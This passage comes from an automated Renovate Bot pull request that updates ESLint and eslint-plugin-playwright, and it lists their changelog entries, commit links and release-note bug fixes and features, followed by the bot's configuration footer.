[`37c8863`](https://github.com/eslint/eslint/commit/37c8863088a2d7e845d019f68a329f53a3fe2c35) docs: fix incorrect anchor link in v10 migration guide ([#​20299](https://github.com/eslint/eslint/issues/20299)) (Pixel998) - [`077ff02`](https://github.com/eslint/eslint/commit/077ff028b6ce036da091d2f7ed8c606c9d017468) docs: add migrate-to-10.0.0 doc ([#​20143](https://github.com/eslint/eslint/issues/20143)) (唯然) - [`3822e1b`](https://github.com/eslint/eslint/commit/3822e1b768bb4a64b72b73b5657737a6ee5c8afe) docs: Update README (GitHub Actions Bot) ##### Build Related - [`9f08712`](https://github.com/eslint/eslint/commit/9f0871236e90ec78bcdbfa352cc1363b4bae5596) Build: changelog update for 10.0.0-rc.2 (Jenkins) - [`1e2c449`](https://github.com/eslint/eslint/commit/1e2c449701524b426022fde19144b1d22d8197b0) Build: changelog update for 10.0.0-rc.1 (Jenkins) - [`c4c72a8`](https://github.com/eslint/eslint/commit/c4c72a8d996dda629e85e78a6ef5417242594b5d) Build: changelog update for 10.0.0-rc.0 (Jenkins) - [`7e4daf9`](https://github.com/eslint/eslint/commit/7e4daf93d255ed343d68e999aad167bb20e5a96b) Build: changelog update for 10.0.0-beta.0 (Jenkins) - [`a126a2a`](https://github.com/eslint/eslint/commit/a126a2ab136406017f2dac2d7632114e37e62dc2) build: add .scss files entry to knip ([#​20389](https://github.com/eslint/eslint/issues/20389)) (Francesco Trotta) - [`f5c0193`](https://github.com/eslint/eslint/commit/f5c01932f69189b260646d60b28011c55870e65d) Build: changelog update for 10.0.0-alpha.1 (Jenkins) - [`165326f`](https://github.com/eslint/eslint/commit/165326f0469dd6a9b33598a6fceb66336bb2deb5) Build: changelog update for 10.0.0-alpha.0 (Jenkins) ##### Chores - [`1ece282`](https://github.com/eslint/eslint/commit/1ece282c2286b5dc187ece2a793dbd8798f20bd7) chore: ignore `/docs/v9.x` in link checker ([#​20452](https://github.com/eslint/eslint/issues/20452)) (Milos Djermanovic) - [`034e139`](https://github.com/eslint/eslint/commit/034e1397446205e83eb341354605380195c88633) ci: add type integration test for `@html-eslint/eslint-plugin` ([#​20345](https://github.com/eslint/eslint/issues/20345)) (sethamus) - [`f3fbc2f`](https://github.com/eslint/eslint/commit/f3fbc2f60cbe2c718364feb8c3fc0452c0df3c56) chore: set `@eslint/js` version to 10.0.0 to skip releasing it ([#​20466](https://github.com/eslint/eslint/issues/20466)) (Milos Djermanovic) - [`afc0681`](https://github.com/eslint/eslint/commit/afc06817bbd0625c7b0a46bdc81c38dab0c99441) chore: remove scopeManager.addGlobals patch for typescript-eslint parser ([#​20461](https://github.com/eslint/eslint/issues/20461)) (fnx) - [`3e5a173`](https://github.com/eslint/eslint/commit/3e5a173053fe0bb3d0f29aff12eb2c19ae21aa36) refactor: use types from `@eslint/plugin-kit` ([#​20435](https://github.com/eslint/eslint/issues/20435)) (Pixel998) - [`11644b1`](https://github.com/eslint/eslint/commit/11644b1dc2bdf4c4f3a97901932e5f25c9f60775) ci: rename workflows ([#​20463](https://github.com/eslint/eslint/issues/20463)) (Milos Djermanovic) - [`2d14173`](https://github.com/eslint/eslint/commit/2d14173729ae75fe562430dd5e37c457f44bc7ac) chore: fix typos in docs and comments ([#​20458](https://github.com/eslint/eslint/issues/20458)) (o-m12a) - [`6742f92`](https://github.com/eslint/eslint/commit/6742f927ba6afb1bce6f64b9b072a1a11dbf53c4) test: add endLine/endColumn to invalid test case in no-alert ([#​20441](https://github.com/eslint/eslint/issues/20441)) (경하) - [`3e22c82`](https://github.com/eslint/eslint/commit/3e22c82a87f44f7407ff75b17b26f1ceed3edd14) test: add missing location data to no-template-curly-in-string tests ([#​20440](https://github.com/eslint/eslint/issues/20440)) (Haeun Kim) - [`b4b3127`](https://github.com/eslint/eslint/commit/b4b3127f8542c599ce2dea804b6582ebc40c993d) chore: package.json update for [@​eslint/js](https://github.com/eslint/js) release (Jenkins) - [`f658419`](https://github.com/eslint/eslint/commit/f6584191cb5cabd62f6a197339a91e1f9b3f8432) refactor: remove `raw` parser option from JS language ([#​20416](https://github.com/eslint/eslint/issues/20416)) (Pixel998) - [`2c3efb7`](https://github.com/eslint/eslint/commit/2c3efb728b294b74a240ec24c7be8137a31cf5f0) chore: remove `category` from type test fixtures ([#​20417](https://github.com/eslint/eslint/issues/20417)) (Pixel998) - [`36193fd`](https://github.com/eslint/eslint/commit/36193fd9ad27764d8e4a24ce7c7bbeeaf5d4a6ba) chore: remove `category` from formatter test fixtures ([#​20418](https://github.com/eslint/eslint/issues/20418)) (Pixel998) - [`e8d203b`](https://github.com/eslint/eslint/commit/e8d203b0d9f66e55841863f90d215fd83b7eee0f) chore: add JSX language tag validation to `check-rule-examples` ([#​20414](https://github.com/eslint/eslint/issues/20414)) (Pixel998) - [`bc465a1`](https://github.com/eslint/eslint/commit/bc465a1e9d955b6e53a45d1b5da7c632dae77262) chore: pin dependencies ([#​20397](https://github.com/eslint/eslint/issues/20397)) (renovate\[bot]) - [`703f0f5`](https://github.com/eslint/eslint/commit/703f0f551daea28767e5a68a00e335928919a7ff) test: replace deprecated rules in `linter` tests ([#​20406](https://github.com/eslint/eslint/issues/20406)) (루밀LuMir) - [`ba71baa`](https://github.com/eslint/eslint/commit/ba71baa87265888b582f314163df1d727441e2f1) test: enable `strict` mode in type tests ([#​20398](https://github.com/eslint/eslint/issues/20398)) (루밀LuMir) - [`f9c4968`](https://github.com/eslint/eslint/commit/f9c49683a6d69ff0b5425803955fc226f7e05d76) refactor: remove `lib/linter/rules.js` ([#​20399](https://github.com/eslint/eslint/issues/20399)) (Francesco Trotta) - [`6f1c48e`](https://github.com/eslint/eslint/commit/6f1c48e5e7f8195f7796ea04e756841391ada927) chore: updates for v9.39.2 release (Jenkins) - [`54bf0a3`](https://github.com/eslint/eslint/commit/54bf0a3646265060f5f22faef71ec840d630c701) ci: create package manager test ([#​20392](https://github.com/eslint/eslint/issues/20392)) (루밀LuMir) - [`3115021`](https://github.com/eslint/eslint/commit/3115021439490d1ed12da5804902ebbf8a5e574b) refactor: simplify JSDoc comment detection logic ([#​20360](https://github.com/eslint/eslint/issues/20360)) (Pixel998) - [`4345b17`](https://github.com/eslint/eslint/commit/4345b172a81e1394579ec09df51ba460b956c3b5) chore: update `@eslint-community/regexpp` to `4.12.2` ([#​20366](https://github.com/eslint/eslint/issues/20366)) (루밀LuMir) - [`772c9ee`](https://github.com/eslint/eslint/commit/772c9ee9b65b6ad0be3e46462a7f93c37578cfa8) chore: update dependency [@​eslint/eslintrc](https://github.com/eslint/eslintrc) to ^3.3.3 ([#​20359](https://github.com/eslint/eslint/issues/20359)) (renovate\[bot]) - [`0b14059`](https://github.com/eslint/eslint/commit/0b14059491d830a49b3577931f4f68fbcfce6be5) chore: package.json update for [@​eslint/js](https://github.com/eslint/js) release (Jenkins) - [`d6e7bf3`](https://github.com/eslint/eslint/commit/d6e7bf3064be01d159d6856e3718672c6a97a8e1) ci: bump actions/checkout from 5 to 6 ([#​20350](https://github.com/eslint/eslint/issues/20350)) (dependabot\[bot]) - [`139d456`](https://github.com/eslint/eslint/commit/139d4567d4afe3f1e1cdae21769d5e868f90ef0d) chore: require mandatory headers in rule docs ([#​20347](https://github.com/eslint/eslint/issues/20347)) (Milos Djermanovic) - [`3b0289c`](https://github.com/eslint/eslint/commit/3b0289c7b605b2d94fe2d0c347d07eea4b6ba1d4) chore: remove unused `.eslintignore` and test fixtures ([#​20316](https://github.com/eslint/eslint/issues/20316)) (Pixel998) - [`a463e7b`](https://github.com/eslint/eslint/commit/a463e7bea0d18af55e5557e33691e4b0685d9523) chore: update dependency js-yaml to v4 \[security] ([#​20319](https://github.com/eslint/eslint/issues/20319)) (renovate\[bot]) - [`ebfe905`](https://github.com/eslint/eslint/commit/ebfe90533d07a7020a5c63b93763fe537120f61f) chore: remove redundant rules from eslint-config-eslint ([#​20327](https://github.com/eslint/eslint/issues/20327)) (Milos Djermanovic) - [`88dfdb2`](https://github.com/eslint/eslint/commit/88dfdb23ee541de4e9c3aa5d8a152c5980f6cc3f) test: add regression tests for message placeholder interpolation ([#​20318](https://github.com/eslint/eslint/issues/20318)) (fnx) - [`6ed0f75`](https://github.com/eslint/eslint/commit/6ed0f758ff460b7a182c8d16b0487ae707e43cc9) chore: skip type checking in `eslint-config-eslint` ([#​20323](https://github.com/eslint/eslint/issues/20323)) (Francesco Trotta) - [`1e2cad5`](https://github.com/eslint/eslint/commit/1e2cad5f6fa47ed6ed89d2a29798dda926d50990) chore: package.json update for [@​eslint/js](https://github.com/eslint/js) release (Jenkins) - [`9da2679`](https://github.com/eslint/eslint/commit/9da26798483270a2c3c490c41cbd8f0c28edf75a) chore: update `@eslint/*` dependencies ([#​20321](https://github.com/eslint/eslint/issues/20321)) (Milos Djermanovic) - [`0439794`](https://github.com/eslint/eslint/commit/043979418161e1c17becef31b1dd5c6e1b031e98) refactor: use types from [@​eslint/core](https://github.com/eslint/core) ([#​20235](https://github.com/eslint/eslint/issues/20235)) (jaymarvelz) - [`cb51ec2`](https://github.com/eslint/eslint/commit/cb51ec2d6d3b729bf02a5e6b58b236578c6cce42) test: cleanup `SourceCode#traverse` tests ([#​20289](https://github.com/eslint/eslint/issues/20289)) (Milos Djermanovic) - [`897a347`](https://github.com/eslint/eslint/commit/897a3471d6da073c1a179fa84f7a3fe72973ec45) chore: remove restriction for `type` in rule tests ([#​20305](https://github.com/eslint/eslint/issues/20305)) (Pixel998) - [`d972098`](https://github.com/eslint/eslint/commit/d9720988579734da7323fbacca4c67058651d6ff) chore: ignore prettier updates in renovate to keep in sync with trunk ([#​20304](https://github.com/eslint/eslint/issues/20304)) (Pixel998) - [`a086359`](https://github.com/eslint/eslint/commit/a0863593872fe01b5dd0e04c682450c26ae40ac8) chore: remove redundant `fast-glob` dev-dependency ([#​20301](https://github.com/eslint/eslint/issues/20301)) (루밀LuMir) - [`564b302`](https://github.com/eslint/eslint/commit/564b30215c3c1aba47bc29f948f11db5c824cacd) chore: install `prettier` as a dev dependency ([#​20302](https://github.com/eslint/eslint/issues/20302)) (michael faith) - [`8257b57`](https://github.com/eslint/eslint/commit/8257b5729d6a26f88b079aa389df4ecea4451a80) refactor: correct regex for `eslint-plugin/report-message-format` ([#​20300](https://github.com/eslint/eslint/issues/20300)) (루밀LuMir) - [`e251671`](https://github.com/eslint/eslint/commit/e2516713bc9ae62117da3f490d9cb6a9676f44fe) refactor: extract assertions in RuleTester ([#​20135](https://github.com/eslint/eslint/issues/20135)) (唯然) - [`2e7f25e`](https://github.com/eslint/eslint/commit/2e7f25e18908e66d9bd1a4dc016709e39e19a24d) chore: add `legacy-peer-deps` to `.npmrc` ([#​20281](https://github.com/eslint/eslint/issues/20281)) (Milos Djermanovic) - [`39c638a`](https://github.com/eslint/eslint/commit/39c638a9aeb7ddc353684d536bbf69d1d39380bd) chore: update eslint-config-eslint dependencies for v10 prereleases ([#​20278](https://github.com/eslint/eslint/issues/20278)) (Milos Djermanovic) - [`8533b3f`](https://github.com/eslint/eslint/commit/8533b3fa281e6ecc481083ee83e9c34cae22f31c) chore: update dependency [@​eslint/json](https://github.com/eslint/json) to ^0.14.0 ([#​20288](https://github.com/eslint/eslint/issues/20288)) (renovate\[bot]) - [`796ddf6`](https://github.com/eslint/eslint/commit/796ddf6db5c8fe3e098aa3198128f8ce3c58f8e0) chore: update dependency [@​eslint/js](https://github.com/eslint/js) to ^9.39.1 ([#​20285](https://github.com/eslint/eslint/issues/20285)) (renovate\[bot]) </details> <details> <summary>mskelton/eslint-plugin-playwright (eslint-plugin-playwright)</summary> ### [`v2.10.2`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.10.2) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.10.1...v2.10.2) ##### Bug Fixes - **missing-playwright-await:** Fix false positive when re-assigning awaited variable ([8cca0ac](https://github.com/mskelton/eslint-plugin-playwright/commit/8cca0ac362d9ddbce899195f1433f8d853efc3d0)), closes [#​456](https://github.com/mskelton/eslint-plugin-playwright/issues/456) - **no-duplicate-hooks:** handle anonymous describe blocks in forEach loops ([8b4ec60](https://github.com/mskelton/eslint-plugin-playwright/commit/8b4ec601a0f801dc2a8701d66f12e28102ffc934)), closes [#​459](https://github.com/mskelton/eslint-plugin-playwright/issues/459) - **valid-test-tags:** Support template literal strings ([d98a05c](https://github.com/mskelton/eslint-plugin-playwright/commit/d98a05cb51150bee283109e041e8e458f6d7bc5f)), closes [#​460](https://github.com/mskelton/eslint-plugin-playwright/issues/460) ### [`v2.10.1`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.10.1) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.10.0...v2.10.1) ##### Bug Fixes - **missing-playwright-await:** Don't flag Array.fill as missing await ([cff9640](https://github.com/mskelton/eslint-plugin-playwright/commit/cff96403204e3cac83faf2d1768e3ded1378302d)), closes [#​450](https://github.com/mskelton/eslint-plugin-playwright/issues/450) - Narrow page detection to prefer false positives ([10238e1](https://github.com/mskelton/eslint-plugin-playwright/commit/10238e173e42725a369db5ee7fb162b1ee99d790)) ### [`v2.10.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.10.0) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.9.0...v2.10.0) ##### Bug Fixes - **missing-playwright-await:** Fix false positive with `expect().resolves` ([352e15e](https://github.com/mskelton/eslint-plugin-playwright/commit/352e15e0e28cda5c7f7fbcd5bd6d01cf634aea3e)), closes [#​448](https://github.com/mskelton/eslint-plugin-playwright/issues/448) - Support additional promise methods ([8646e62](https://github.com/mskelton/eslint-plugin-playwright/commit/8646e62527202cf11da6c00afc7f7e376d00773f)), closes [#​444](https://github.com/mskelton/eslint-plugin-playwright/issues/444) ##### Features - **missing-playwright-await:** Add `includePageLocatorMethods` flag for checking more missing awaits ([#​438](https://github.com/mskelton/eslint-plugin-playwright/issues/438)) ([41921f8](https://github.com/mskelton/eslint-plugin-playwright/commit/41921f8509bfa90ccef91d86ed874408b60a7abb)), closes [#​159](https://github.com/mskelton/eslint-plugin-playwright/issues/159) - **no-skipped-test:** Support `disallowFixme` to optionally disable `.fixme()` annotations ([6b42fdb](https://github.com/mskelton/eslint-plugin-playwright/commit/6b42fdb5cf74c6a98b7544e2931bd157cda88e51)), closes [#​446](https://github.com/mskelton/eslint-plugin-playwright/issues/446) ### [`v2.9.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.9.0) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.8.0...v2.9.0) ##### Bug Fixes - **no-restricted-roles:** Catch all uses, not just on page methods ([1861fa5](https://github.com/mskelton/eslint-plugin-playwright/commit/1861fa57fd21b8d2d17cbd96238fdf5970277686)) - Support nested locators everywhere ([0e48186](https://github.com/mskelton/eslint-plugin-playwright/commit/0e48186885a8868d3163cdd2d2732c3f227056ab)) ##### Features - **no-duplicate-hooks:** Mark as recommended ([fe3ca54](https://github.com/mskelton/eslint-plugin-playwright/commit/fe3ca54178cde017388aa5d844553a9b7a9d1307)) - **no-duplicate-slow:** Mark as recommended ([2f0b67d](https://github.com/mskelton/eslint-plugin-playwright/commit/2f0b67d841dd8f091f7c8ab44a6eadb34255127b)) - **prefer-hooks-in-order:** Mark as recommended ([e8ae16e](https://github.com/mskelton/eslint-plugin-playwright/commit/e8ae16ef219ce943749b194fc972b27a0162e8cb)) - **prefer-hooks-on-top:** Mark as recommended ([5ab9296](https://github.com/mskelton/eslint-plugin-playwright/commit/5ab929677dea5263b69e2fe44a43cf711b1bbb16)) - **prefer-locator:** Mark as recommended ([fcab221](https://github.com/mskelton/eslint-plugin-playwright/commit/fcab221c092c290c8b2b851b669ea0b1774ec75c)) - **prefer-to-have-count:** Mark as recommended ([fcbf086](https://github.com/mskelton/eslint-plugin-playwright/commit/fcbf086ae637cf569530856e7690b6da85a5c5fe)) - **prefer-to-have-length:** Mark as recommended ([c6c923e](https://github.com/mskelton/eslint-plugin-playwright/commit/c6c923e6b382c1bee4de89e2cf9781511a37e7a0)) ### [`v2.8.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.8.0) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.7.1...v2.8.0) ##### Bug Fixes - Add missing test coverage and fix several minor bugs ([#​434](https://github.com/mskelton/eslint-plugin-playwright/issues/434)) ([e3398ec](https://github.com/mskelton/eslint-plugin-playwright/commit/e3398ec61da52de205e7c9af2896633357769f74)) - **missing-playwright-await:** Handle spread elements ([df30163](https://github.com/mskelton/eslint-plugin-playwright/commit/df3016323819f7bc335fd1841971dccc2ae64f51)), closes [#​430](https://github.com/mskelton/eslint-plugin-playwright/issues/430) - **missing-playwright-await:** Support more promise edge cases ([b4cdcbd](https://github.com/mskelton/eslint-plugin-playwright/commit/b4cdcbd010a2b4dfc7ee14ab5bdc655897389f19)) ##### Features - Auto-detect `test.extend()` fixtures and import aliases ([#​432](https://github.com/mskelton/eslint-plugin-playwright/issues/432)) ([8b22ee7](https://github.com/mskelton/eslint-plugin-playwright/commit/8b22ee7b1f7823d81bafda82e240dd51106726dd)) ### [`v2.7.1`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.7.1) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.7.0...v2.7.1) ##### Bug Fixes - **missing-playwirght-await:** Fix false positive with promise chains ([6e4f5ff](https://github.com/mskelton/eslint-plugin-playwright/commit/6e4f5ff4876c4e92542e7fde20ec5314d4b36ba5)) ### [`v2.7.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.7.0) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.6.1...v2.7.0) ##### Features - Support ESLint 10 ([aa5315b](https://github.com/mskelton/eslint-plugin-playwright/commit/aa5315b70cd2481d3093d27435d1938585e1de9a)), closes [#​424](https://github.com/mskelton/eslint-plugin-playwright/issues/424) ### [`v2.6.1`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.6.1) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.6.0...v2.6.1) ##### Bug Fixes - Exclude `@typescript-eslint/utils` from the bundle ([6547702](https://github.com/mskelton/eslint-plugin-playwright/commit/6547702acf8b09736f36d79a2daec0219b930986)), closes [#​425](https://github.com/mskelton/eslint-plugin-playwright/issues/425) ### [`v2.6.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.6.0) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.5.1...v2.6.0) ##### Bug Fixes - **docs:** consistent-spacing-between-blocks name ([#​421](https://github.com/mskelton/eslint-plugin-playwright/issues/421)) ([f2306ed](https://github.com/mskelton/eslint-plugin-playwright/commit/f2306ed279a1434beef3f5eca83ce384b848dce4)) - **valid-title:** Ignore variables we can't statically determine ([1597555](https://github.com/mskelton/eslint-plugin-playwright/commit/15975557f1e6a792a6e0ae843ae5c98496ae8f91)), closes [#​368](https://github.com/mskelton/eslint-plugin-playwright/issues/368) ##### Features - Add `no-duplicate-slow` rule ([dac9495](https://github.com/mskelton/eslint-plugin-playwright/commit/dac94950502698708f7e001f54fa7c505c20dafc)), closes [#​418](https://github.com/mskelton/eslint-plugin-playwright/issues/418) - Add `no-restricted-roles` rule ([#​422](https://github.com/mskelton/eslint-plugin-playwright/issues/422)) ([91817bf](https://github.com/mskelton/eslint-plugin-playwright/commit/91817bf63fb6b764af6e85f4968eff7165ae52a3)) - Add `require-to-pass-timeout` rule ([e620e87](https://github.com/mskelton/eslint-plugin-playwright/commit/e620e87ccf3e585a99acb500c4c635e8d1320cf8)), closes [#​345](https://github.com/mskelton/eslint-plugin-playwright/issues/345) - Add require-tags rule ([c83b13a](https://github.com/mskelton/eslint-plugin-playwright/commit/c83b13ab08cd4631129a28a44b7f1ea29b17585b)), closes [#​401](https://github.com/mskelton/eslint-plugin-playwright/issues/401) - **missing-playwright-await:** Add support for waitForResponse and other similar functions ([960be8a](https://github.com/mskelton/eslint-plugin-playwright/commit/960be8a5a7418f42a9485f8e00e71a6729c46f70)), closes [#​199](https://github.com/mskelton/eslint-plugin-playwright/issues/199) ### [`v2.5.1`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.5.1) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.5.0...v2.5.1) ##### Bug Fixes - **no-conditional-in-test:** Fix false positive for `||` ([611657c](https://github.com/mskelton/eslint-plugin-playwright/commit/611657c3cb5b932c9f261c297c4ab01d1fed4a6c)) ### [`v2.5.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.5.0) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.4.1...v2.5.0) ##### Bug Fixes - Fix lint ([4e8461d](https://github.com/mskelton/eslint-plugin-playwright/commit/4e8461dc5b73018d706782c729fbcce67347b7f6)) - Fix TypeScript types ([af7d870](https://github.com/mskelton/eslint-plugin-playwright/commit/af7d8702121f58eb5974b81a514470542162823c)) ##### Features - Add `enforce-consistent-spacing-between-blocks` rule ([#​411](https://github.com/mskelton/eslint-plugin-playwright/issues/411)) ([a9b78d5](https://github.com/mskelton/eslint-plugin-playwright/commit/a9b78d5d0c7a7c051d9bee85a584ca483dd22777)) - Add no-restricted-locators rule ([a65200b](https://github.com/mskelton/eslint-plugin-playwright/commit/a65200b1773b49ccafbd9a9b8a81e4e9f700bd67)), closes [#​407](https://github.com/mskelton/eslint-plugin-playwright/issues/407) - **prefer-web-first-assertions:** Support `allInnerTexts()` and `allTextContents()` ([36917a8](https://github.com/mskelton/eslint-plugin-playwright/commit/36917a86fb7e4ef49837e7657a8363d55f06e461)), closes [#​362](https://github.com/mskelton/eslint-plugin-playwright/issues/362) ### [`v2.4.1`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.4.1) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.4.0...v2.4.1) ##### Bug Fixes - **no-conditional-in-test:** allow nullish coalescing operator ([2c25b4f](https://github.com/mskelton/eslint-plugin-playwright/commit/2c25b4fe3b7d487a8cc06c43a1bf91fea3f3c7ea)), closes [#​406](https://github.com/mskelton/eslint-plugin-playwright/issues/406) ### [`v2.4.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.4.0) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.3.0...v2.4.0) ##### Bug Fixes - **missing-playwright-await:** prevent infinite recursion in checkValidity ([9ce346d](https://github.com/playwright-community/eslint-plugin-playwright/commit/9ce346ddde659050714bbe770363e3cbe1361c9c)) ##### Features - **expect-expect:** Support regex patterns ([#​390](https://github.com/playwright-community/eslint-plugin-playwright/issues/390)) ([fdd0253](https://github.com/playwright-community/eslint-plugin-playwright/commit/fdd025339b68173cb5aec57f83c8bc9792388be1)) ### [`v2.3.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.3.0) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.2.2...v2.3.0) ##### Bug Fixes - Check for test tags in titles ([377238c](https://github.com/playwright-community/eslint-plugin-playwright/commit/377238ccdecb88c8fd62abbb8dd8e89d8397236b)), closes [#​392](https://github.com/playwright-community/eslint-plugin-playwright/issues/392) ##### Features - Add no-unused-locators rule ([#​396](https://github.com/playwright-community/eslint-plugin-playwright/issues/396)) ([c0937d7](https://github.com/playwright-community/eslint-plugin-playwright/commit/c0937d72d2f102fd7531c86fb135256293e9be85)) ### [`v2.2.2`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.2.2) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.2.1...v2.2.2) ##### Bug Fixes - **prefer-web-first-assertions:** Fix false positive ([#​384](https://github.com/playwright-community/eslint-plugin-playwright/issues/384)) ([38a559e](https://github.com/playwright-community/eslint-plugin-playwright/commit/38a559e69978c19206d4a7a032f8fb4227306a11)) - **valid-test-tags:** disallow extra properties in rule options and add to recommended ([#​381](https://github.com/playwright-community/eslint-plugin-playwright/issues/381)) ([4762bbd](https://github.com/playwright-community/eslint-plugin-playwright/commit/4762bbdc13a5832266538b6fbcace391cc3aadfd)) ### [`v2.2.1`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.2.1) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.2.0...v2.2.1) ##### Features - Support addInitScript in no-unsafe-references - Add toContainClass method - Add valid-test-tags rule - Add no-wait-for-navigation rule ##### Bug Fixes - clean published package.json ([#​371](https://github.com/playwright-community/eslint-plugin-playwright/issues/371)) ([b8401e5](https://github.com/playwright-community/eslint-plugin-playwright/commit/b8401e51669c251ae31b4cdc610bdc4a0b3e9aba)), closes [#​360](https://github.com/playwright-community/eslint-plugin-playwright/issues/360) - no-conditional-in-test does not trigger for conditionals in test metadata (fixes [#​363](https://github.com/playwright-community/eslint-plugin-playwright/issues/363)) ([#​372](https://github.com/playwright-community/eslint-plugin-playwright/issues/372)) ([12b0832](https://github.com/playwright-community/eslint-plugin-playwright/commit/12b083248e50f6e23e95f7d3fbc6034672e87ba7)) - Remove no-slowed-test from recommended list ([#​348](https://github.com/playwright-community/eslint-plugin-playwright/issues/348)) ([6baec3a](https://github.com/playwright-community/eslint-plugin-playwright/commit/6baec3ac2861b6cd2c8fcb83c61d00b4e3c82128)) - Support non-awaited expressions in prefer-web-first-assertions - Allow valid locators declared as variables - Fix false positive when using allowConditional ### [`v2.2.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.2.0) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.1.0...v2.2.0) ##### Features - Add `no-slowed-test` rule ([#​302](https://github.com/playwright-community/eslint-plugin-playwright/issues/302)) ([53df693](https://github.com/playwright-community/eslint-plugin-playwright/commit/53df693a1c9348205d453c1b791adf4f60242f0d)), closes [#​296](https://github.com/playwright-community/eslint-plugin-playwright/issues/296) - Add support for Playwright 1.50 ([#​347](https://github.com/playwright-community/eslint-plugin-playwright/issues/347)) ([956fe62](https://github.com/playwright-community/eslint-plugin-playwright/commit/956fe626c06bd12f57a1ed6fa009421bb0ce296a)) ##### Bug Fixes - **expect-expert:** report on test function identifier rather than body ([#​337](https://github.com/playwright-community/eslint-plugin-playwright/issues/337)) ([35e37a1](https://github.com/playwright-community/eslint-plugin-playwright/commit/35e37a12fb0691f6e549b01621c75c9556121899)) - **prefer-comparison-matcher:** Fix typo in docs ([c269371](https://github.com/playwright-community/eslint-plugin-playwright/commit/c269371be2dbc4557dcd24c24e06b8db056f681a)), closes [#​343](https://github.com/playwright-community/eslint-plugin-playwright/issues/343) ### [`v2.1.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.1.0) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.0.1...v2.1.0) ##### Features - Add `test.fail.only` as a valid chain ([c067ad2](https://github.com/playwright-community/eslint-plugin-playwright/commit/c067ad203fba4617a9e04ee610dc0ee3d1b40f04)) ### [`v2.0.1`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.0.1) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.0.0...v2.0.1) ##### Bug Fixes - Fix types for native TypeScript ESM ([4c61256](https://github.com/playwright-community/eslint-plugin-playwright/commit/4c61256978556570b4f528eb2ba932ebee110609)) ### [`v2.0.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.0.0) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v1.8.3...v2.0.0) ##### ⚠ BREAKING CHANGES - Remove jest-playwright configs ##### Features - Remove jest-playwright configs ([ba82509](https://github.com/playwright-community/eslint-plugin-playwright/commit/ba82509db582481df8805e310b797ac710c5e37b)) ##### Bug Fixes - Fix type exports ([f566df5](https://github.com/playwright-community/eslint-plugin-playwright/commit/f566df55f139a6ef37253cbda90f28889ed768f8)) </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://github.com/renovatebot/renovate/discussions) if that's undesired. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/36 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
eb87f0e6bb |
chore(deps): update dependency webpack-cli to v7 (#34)
